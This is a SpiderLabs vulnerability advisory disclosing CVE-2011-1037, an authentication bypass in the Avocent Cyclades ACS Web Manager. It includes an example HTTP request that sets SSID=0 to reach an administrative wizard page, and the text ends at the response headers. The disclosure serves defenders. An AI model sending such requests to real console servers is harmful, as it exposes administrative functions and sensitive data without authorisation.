Trustwave's SpiderLabs Security Advisory TWSL2011-003:
Vulnerabilities in Avocent Cyclades ACS Web Manager
Published: March 11, 2011
Vendor: Avocent www.avocent.com
Product: Cyclades ACS Web Manager
Version affected: ACS Prior to 3.3.0-6
Product description:
ACS advanced console servers enable IT professionals and network operations
center (NOC) personnel to perform secure, remote data center management of
IT assets from anywhere in the world utilizing a Linux operating system.
Credit: Martin Murfitt of Trustwave's SpiderLabs
Finding 1: ACS Web Manager Broken Authentication and Session Management
CVE: CVE-2011-1037
The session management and authentication framework on the application's
web-based console contains a systemic flaw. Information is leaked
concerning pages which should only be accessible subsequent to
authentication within anonymously available content.
The application employs a client-based security control, where attempts to
access authenticated functions without the proper session cookie are met
with a response to the 'login.asp' page, only if the variable 'SSID' is
present in the request.
The variable is returned by the application in prior pages. However, as all
client content is user controlled, removing this variable breaches the
control as the application does not validate it is not present and respond
accordingly.
An attacker can leverage this feature to breach the authentication
mechanism and access the underlying application console, revealing
functionality that should only be visible to a 'wizard' administrative
user.
Please note that dynamic content is not enabled using this technique. While
an attacker can leverage this vulnerability to access sensitive information
on the vulnerable system, that individual cannot alter any settings.
Example:
STEP 1: Request /wizard/secProfile.asp with SSID GET variable set to 0:
GET /wizard/secProfile.asp?SSID=0 HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: https://XXX.XXX.XXX.XXX/wizard/main.asp
HTTP/1.1 200 Data follows
Server: XXXX
Date: Tue Oct 19 11:37:29 2010
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html